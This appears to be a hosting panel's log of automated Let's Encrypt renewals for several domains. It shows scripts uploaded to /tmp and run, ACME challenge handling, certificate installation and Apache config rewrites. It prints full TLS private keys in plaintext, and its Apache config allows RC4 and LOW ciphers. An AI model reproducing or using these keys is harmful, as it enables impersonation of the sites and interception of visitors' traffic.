        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-03 06:03:50: 

chmod 755 /tmp/pkp836664; /tmp/pkp836664; rm /tmp/pkp836664

2025-11-03 06:03:50: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/a6135b8cd991ffd075dad22986ca2d2f.crt	5357
31:01:4f:e1:72:28:f4:d7:ac:e3:56:ee:7e:83:11:1e

-----BEGIN CERTIFICATE-----
MIIFATCCA+mgAwIBAgISBqoZ5j5E4mMEya9KuXiQiTYTMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTAzMDUwNTE5WhcNMjYwMjAxMDUwNTE4WjAeMRwwGgYDVQQD
ExNkZ20uZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAsQt0gdZ/MzzXFkcUBwNZu320i66+AYe73lwizrxYloqMSC/2NutP+2ed
gf4OfUNVi7JSAkOEWJaBhFDB/1a4JxVJ05f099as2+BTXHnu56Qp7beeR0f0Qg6Q
NFXrasaln3baGrW17ueDNPNFVN9iqwHvuBstTQG0yqNnJy5xFwSGfshWKTTuCPOw
/ACSFWOss0ds5DI1Tem5mmE039f1psmzECNvKB3m6oDBtN7RcL9/J6q705QGoUbr
bxy46BKdPZF8/tghjDlwFPBwCynrLQKor9ia512nIk4Y+sLE0l4UlDIX/2bI1RGR
DydoF+KQkUItaJ42Fc9lpTlEK6asmQIDAQABo4ICIjCCAh4wDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBRWqsK/eSKArgvzMdQueIKlTbLBhjAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE2RnbS5kcmV3bWFyc2hh
bGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMi5jLmxlbmNyLm9yZy8yMC5jcmwwggEDBgorBgEEAdZ5AgQCBIH0BIHx
AO8AdgAZhtTHKKpv/roDb3gqTQGRqs4tcjEPrs5dcEEtJUzH1AAAAZpIUIoMAAAE
AwBHMEUCIA1lUG0Wt+WnfFJRZoYxGQiStRFcRfVlSyims4WCrt5gAiEA3ubbzHqp
odigDtazNnmfsa9eYMoJKssbZ69wthX6xfkAdQDLOPcViXyEoURfW8Hd+8lu8ppZ
zUcKaQWFsMsUwxRY5wAAAZpIUIowAAAEAwBGMEQCIEfMa+dOASaRFSgCe5GImRCt
SiFULMpHgHyoX/a+3LsgAiAufl96wZ/3rwE9i7vDbU3elDbvbQU6N5A7zgf5i470
rDANBgkqhkiG9w0BAQsFAAOCAQEAjzpUjZgoMDpr9H0KElPoodOJ/nyXVbFkf4ag
A32l7YU2TyHgcIsXFI4qPC0x2i3v7D4CfNwQKjVJ5Zf9cxMXGLgb/8cefMT8z51i
PCxAGKNB8ZV3Qht8UYWnkix3Rqgj56I53w5n2gVAIxUmM1FnVtgzNZEkeAJoxyQX
I7t81uCOLkbiYlk1fMn7tdvgDr5owdQjFUQUEZh66xADO8MZs0tZyknuh/h4JWCc
fFs4liPR35j5zDZi3m2tgNsdKwhAx06p16KYI9iNhljKbCfce01uL7UtEhhEHChU
OLMh2aDS5QywY3UZkr/yn2QW64WA9w0cwQE7LMRPLf7B5EkpVg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCxC3SB1n8zPNcW
RxQHA1m7fbSLrr4Bh7veXCLOvFiWioxIL/Y260/7Z52B/g59Q1WLslICQ4RYloGE
UMH/VrgnFUnTl/T31qzb4FNcee7npCntt55HR/RCDpA0VetqxqWfdtoatbXu54M0
80VU32KrAe+4Gy1NAbTKo2cnLnEXBIZ+yFYpNO4I87D8AJIVY6yzR2zkMjVN6bma
YTTf1/WmybMQI28oHebqgMG03tFwv38nqrvTlAahRutvHLjoEp09kXz+2CGMOXAU
8HALKestAqiv2JrnXaciThj6wsTSXhSUMhf/ZsjVEZEPJ2gX4pCRQi1onjYVz2Wl
OUQrpqyZAgMBAAECggEAa0kHxw5WcpQxutxDtKRBIi7g06yGk6LPI8YtiZ31CPTY
YX4+87TQ+QYnGnj8Cshc9JSQwbJsZsp9ndLaXIMOgRCTdlelKPK8OVnM6kMxlMmU
ZutYTNW7nLP6itxuFnxeLS32qSzoHOfKSLIKl43u2rYHsEc3wmyARDOU9NddzJX8
H01kLbm3ty5usVw2721xwiT/T8EWy0VRApUF4aQzd+mW4oWbCA7J4yk9EcEMPcPJ
PoWUnIq173OW8QXS1QjRXdtS9/TlMIYTWV5NiCdcqgU0IWgQtxUji2uT0fkjYRJI
xlIFwjwptwIp+TTnQEo8QLkgOdOk2jHNhekSIu0r6QKBgQDrZ10ROB3i7pzjkeYr
gF0Sgf2EVK7soONEXOeoZn8r9S0H+wXioN47/kPSaVpxWfe5zrd8/yqDPnT8otdB
ovEajJfGkK8IsObaeR9OhzcpdeZjz6t20AyPcB1LW3X3scB60F+g0aaFsrH9LDrI
DQ4VPcVG14snOwe+9EbfBVzmdwKBgQDAiPNgGS9zra7OI0SEfooU/kGvzevZTEtk
AQKg1uEJxGbnG5WKEW2g7oM/SNj/6HiyV6fYO6Tq1PHWolC1dNWPYsEPHsjFsWo0
JboPnj4X4/0sETQ7G+7gOvTfU3zhYTHZSy9T0FW1bcSBFK62xsM6f4F78TZW7EU1
u1WJIbP5bwKBgEqFh13rIPL1TO9yAaal1VEFm8cns9SvPiMnMiMKh5nX3PCY1A0h
lhjx7nCO75XQwG6u9UF52fCAdjKALprVxXP9LBMtPGwI7JwfGf0XKyxR6aSRWpub
U06ZVHzFsHvAZsm6a3uSwx+yKUyXkug/0cSBsJEzrRa3RkV6OXFi1j0TAoGBALqu
z5R5Nxpp6Jm1doUlkMuEMLq+5pUeteb0V9EOKMtopQInK9rgxTSKr7XX85hGl2kN
NxCh3GlaKlebsLgQ3dWWwmzfw3p0aO7BOeRU4g4WIO/uin9ZuUevwqkb8XUy4bu4
e94/nis5kJQ8Mp/En52D7k/39WFY3E6aIvjBNhl/AoGBAJUnNz/FBWjn7WUpNSCz
jBfkPg6uPsAEzDzpJGUm1dY3Y2hPqtXntewqHjk1jdW4B3ErfultL/lb7rv8/eEq
L85qjVtZYvD3ME2JGkomNFpeGYCPs9epN71yDFHrhZ+muD4W3NATdeuPQ0pljRh9
yr4HNg7iPNyOJonT9faehFV6
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-11-03 06:03:50: Establishing a connection
2025-11-03 06:03:51: Establishing a connection
2025-11-03 06:03:52: 

PUT: /tmp/pkp974876

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-03 06:03:53: 

chmod 755 /tmp/pkp974876; /tmp/pkp974876; rm /tmp/pkp974876

2025-11-03 06:03:53: 


0


2025-11-03 06:03:54: Establishing a remote connection
2025-11-04 06:00:02: Establishing a connection
2025-11-04 06:00:04: Establishing a connection
2025-11-04 06:00:05: 

PUT: /tmp/pkp844004

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-04 06:00:06: 

chmod 755 /tmp/pkp844004; /tmp/pkp844004; rm /tmp/pkp844004

2025-11-04 06:00:06: 


0


2025-11-04 06:00:06: Establishing a remote connection
2025-11-05 06:00:03: Establishing a connection
2025-11-05 06:00:03: Establishing a connection
2025-11-05 06:00:04: 

PUT: /tmp/pkp867522

#!/bin/bash
if [ -d "/var/www/drewmarshall_caminoconfessions/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-05 06:00:05: 

chmod 755 /tmp/pkp867522; /tmp/pkp867522; rm /tmp/pkp867522

2025-11-05 06:00:05: 


1


2025-11-05 06:00:06: Establishing a connection
2025-11-05 06:00:06: 

PUT: /tmp/pkp887498

#!/bin/bash
mkdir -p "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
cat > PgKioFAOX649WboUeu7hR3KPyj6KEbT5YJMf-1-SuZk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
PgKioFAOX649WboUeu7hR3KPyj6KEbT5YJMf-1-SuZk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 PgKioFAOX649WboUeu7hR3KPyj6KEbT5YJMf-1-SuZk


2025-11-05 06:00:06: 

chmod 755 /tmp/pkp887498; /tmp/pkp887498; rm /tmp/pkp887498

2025-11-05 06:00:06: 




2025-11-05 06:00:11: Establishing a connection
2025-11-05 06:00:12: 

PUT: /tmp/pkp547100

#!/bin/bash
mkdir -p "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_caminoconfessions/.well-known/acme-challenge/"
rm PgKioFAOX649WboUeu7hR3KPyj6KEbT5YJMf-1-SuZk


2025-11-05 06:00:12: 

chmod 755 /tmp/pkp547100; /tmp/pkp547100; rm /tmp/pkp547100

2025-11-05 06:00:12: 




2025-11-05 06:00:12: Establishing a connection
2025-11-05 06:00:12: 

PUT: /tmp/pkp737830

#!/bin/bash
temp_file=$(mktemp)
TARGET=0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt

cat > $temp_file <<'endmsg'
4c:cc:26:f9:52:0e:f4:13:0a:9e:9a:93:2d:d9:6d:31

-----BEGIN CERTIFICATE-----
MIIFHjCCBAagAwIBAgISBuNI4X3u1pb3zliSolNIhts1MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTA1MDUwMTQxWhcNMjYwMjAzMDUwMTQwWjAsMSowKAYDVQQD
EyFjYW1pbm9jb25mZXNzaW9ucy5kcmV3bWFyc2hhbGwuY2EwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQC3rLNmdhYmgLUVqBURpwxA39WuPO9mNFxY+NqZ
bn3ARr99zm0/OD/xTEm72D5ly81JUpXyFRHNAxgr4qD7ovp4HW5UEz0l9RfJxWVV
06Pxn9gaeiN3qWEdXWbfr4WYjm7z7gSTmzPEg+wZwbFUG6z1ua6i8zkDsh2CWPt2
1aabl92VHF1wj6U40xrCQGNoSo/UrPPtw2PYjKgWsjMxeUfk5sF/5gVXkpeHo7rP
La8sPREqLrGBMbHGOdKwE5VCFmw+neoCGF7lsQ5Qn+5JukLMy+ukoWVthKA9L7GV
/bDE6UEWMp1zyQA3p5K8pf9j8w8txS5frm1Bd4aA/XbpOyijAgMBAAGjggIxMIIC
LTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMC
MAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFDvkpZBHgpsUrrcL/cbn+9pm69quMB8G
A1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAj
BggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wLAYDVR0RBCUwI4Ih
Y2FtaW5vY29uZmVzc2lvbnMuZHJld21hcnNoYWxsLmNhMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcv
NTQuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYASZybad4dfOz8Nt7Nh2Sm
uFuvCoeAGdFVUvvp6ynd+MMAAAGaUpnwYgAABAMARzBFAiApKDXsTSvNbVZ7bjDH
BXg2a3Oi2enOaIad9uNtbnYwGwIhAPxSUqkEG0yarx3TU8Ny5kwCOH8WBh8j15OC
oL4NMiQjAHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGaUpnw
awAABAMARzBFAiBvCM6vUJdDjuILGI4NUC3hiC2iAHvb2Vy+dKM8Pp4yQwIhAPU8
jII8fKYwfk75TTd8YBqNULXuhPICkYGQkIXKJ5HbMA0GCSqGSIb3DQEBCwUAA4IB
AQBUZz+Te4ccg001b+Cr7JzlcltRObktxkhPuHAd1Kp9BmV2Dl00DhV9UY6qDiyK
a4fIWSHlKY0JcH03HzNWQUDuo3PyWYsu+n4B8ry44ha1JXnGFQH6JNcWQ+44HWPN
BCKQNDe3lFfQEO+QXqvsA7JuGLRlQtBfy/vWZFwonTtzs1Rr+YEy5McKTv/xkwBB
CdpRwwH2q5RtsfLpvAjRWFsTrsO7pDXS0EbCqWo3K8N60V3pZQWtMVR9rwTVa6pN
SCI53aVEUwWfaJHwUsooA1N2aFO64Qa71Nqy0DjaiNVrunsYB347d13ZCn0i5fh2
VfTiQZERXrcHE1ABAtlKP09h
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC3rLNmdhYmgLUV
qBURpwxA39WuPO9mNFxY+NqZbn3ARr99zm0/OD/xTEm72D5ly81JUpXyFRHNAxgr
4qD7ovp4HW5UEz0l9RfJxWVV06Pxn9gaeiN3qWEdXWbfr4WYjm7z7gSTmzPEg+wZ
wbFUG6z1ua6i8zkDsh2CWPt21aabl92VHF1wj6U40xrCQGNoSo/UrPPtw2PYjKgW
sjMxeUfk5sF/5gVXkpeHo7rPLa8sPREqLrGBMbHGOdKwE5VCFmw+neoCGF7lsQ5Q
n+5JukLMy+ukoWVthKA9L7GV/bDE6UEWMp1zyQA3p5K8pf9j8w8txS5frm1Bd4aA
/XbpOyijAgMBAAECggEAQPyl7RbS94SKjcMO0VQdjcakwCVnPu4/zmseTTM+4w0l
K8oh9UBdv26SmBgG29WkKNFDpIe36KWzo7Nn6iDcJiujobO86vUxGX7yP8/GLfO0
bonQisIvTkiB4Zsk1blvoHcSv3cmdd2HaAWUTIIOTFMKazVLcvdOYZRCROWLMXmL
8jHUaWqC3btNPE+AJuU0NEEGR2/7kjJ8RMjjGkY/ewp295TZQPsSNZf6vgq3rDUA
kwxAxcsKbifrlwy9TP+99ymIcTYXhiOag1j8izLEChhk8tqYhVtZmSmKZbO+zI5A
9I9Gm6YoA2FSPfjSgeHdLJLUAzhKJqVgxZMorlwUgQKBgQDwmETFAuwFAjpRz56J
sE/SAnPvqa7MDmuYRCI/NdzHxm0v3z6SH2JP54npGqGK7/UN8r0wDenRnFwgRkqN
6R1/20hYzCIjmDjwuTzWN+6RqbHy0QduoTLo+YmwxkIajQoEb9zDufF5CFqnayWV
AOhul/jHfCl+HPrL9EiKoLIKMwKBgQDDb2t2CQ2FLydkOKnACOlDhh7B19FCOeCa
oLx35nzRXFKYzZyfGFhXsUyk/gPMXg6M/2Tr/Nf4Qxmak+k30R9PfzSKEhNIBLOu
Z/bE0w0DnrPiAPWmEp/kWMRNZQRFF3JGjgtcRu1Y4ycONpLp5LGFcYrcYMGB8dcL
PjCMWXDX0QKBgQCH7V8c9zOk+Mc+JVBqdeQCwEQD6RfKTXNYSVYX5DRh4acaXsQZ
BgYjIqr1uYf+2ObYBIYCOjoZpH8f9NZ2KnfyHk9Xa6z18zBoQB8w39S3EupoRtQu
GoCKw0CZUMlT+s7oBtLw+YKFYMTmxVAsSKEIqm9xNKK0j2baB59cQsGTpQKBgEkK
IiJJ/diRp+on1yEi83K99E7Dxrw2fz+q5OT2qh1goKnk5iz7X0DezWM4X9kIKe3+
IQylQV3STgZcUyP+LvJ5+vvDB5u5ziFXT3191vZMYLQNYcFAYqtnlW3LXA4qVhYS
TiKdi2TV+CmysbNiOgpCRgBY1NkothLImkJJxweRAoGBALmvYqS1WtEiqljL2fHj
jIWJX12FOq6s011ul5v5TEKFaRHAEnENoBYYr94NfqfeGjeu6XuEjbNduTCMhB2q
jaOvXvWK95FIOlId0tB/Web0f7FfC4c4fuZfkB9ZzDNIfmerPCfI2LnTFKSccmfv
M7S6eygoHBKkF9LrEe3s1eJI
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-11-05 06:00:12: 

chmod 755 /tmp/pkp737830; /tmp/pkp737830; rm /tmp/pkp737830

2025-11-05 06:00:12: 


dir=/etc/ssl/certs


2025-11-05 06:00:12: 

PUT: /tmp/pkp694434

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-11-05 06:00:12: 

chmod 755 /tmp/pkp694434; /tmp/pkp694434; rm /tmp/pkp694434

2025-11-05 06:00:12: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf 57

<VirtualHost *:80>
    ServerName	caminoconfessions.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_caminoconfessions
    <Directory /var/www/drewmarshall_caminoconfessions>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/caminoconfessions_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/caminoconfessions_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	caminoconfessions.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt
    DocumentRoot	/var/www/drewmarshall_caminoconfessions
    <Directory /var/www/drewmarshall_caminoconfessions>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/caminoconfessions_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/caminoconfessions_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-11-05 06:00:12: 

PUT: /tmp/pkp995023

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_caminoconfessions_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	caminoconfessions.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_caminoconfessions
    <Directory /var/www/drewmarshall_caminoconfessions>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/caminoconfessions_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/caminoconfessions_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	caminoconfessions.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0d4c12a0a7fdfe4c1c8d0a1e449bbfe7.crt
    DocumentRoot	/var/www/drewmarshall_caminoconfessions
    <Directory /var/www/drewmarshall_caminoconfessions>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/caminoconfessions_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/caminoconfessions_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf= 1'
fi


2025-11-05 06:00:12: 

chmod 755 /tmp/pkp995023; /tmp/pkp995023; rm /tmp/pkp995023

2025-11-05 06:00:12: 




2025-11-05 06:00:12: 

PUT: /tmp/pkp614730

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
